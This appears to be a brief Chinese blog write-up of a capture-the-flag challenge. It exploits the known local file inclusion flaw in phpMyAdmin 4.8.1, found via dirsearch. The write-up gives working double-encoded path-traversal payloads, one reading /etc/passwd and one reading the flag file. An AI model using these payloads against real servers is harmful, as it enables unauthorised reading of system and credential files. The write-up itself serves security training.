[GWCTF 2019]我有一个数据库
[GWCTF 2019]我有一个数据库
打开环境是乱码,用dirsearch扫描发现phpmyadmin
进入链接发现版本是4.8.1
这里找了几篇参考资料进行学习:
https://www.freebuf.com/column/207707.html
https://www.jianshu.com/p/fb9c2ae16d09
使用 ?target=pdf_pages.php%253f/../../../../../../../../etc/passwd 确定漏洞是否存在
确定漏洞存在后,经过测试可以知道flag的位置,访问?target=pdf_pages.php%253f/../../../../../../../../flag得到flag
分类:
网安 / 题库 / BUU
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· AI技术革命,工作效率10个最佳AI工具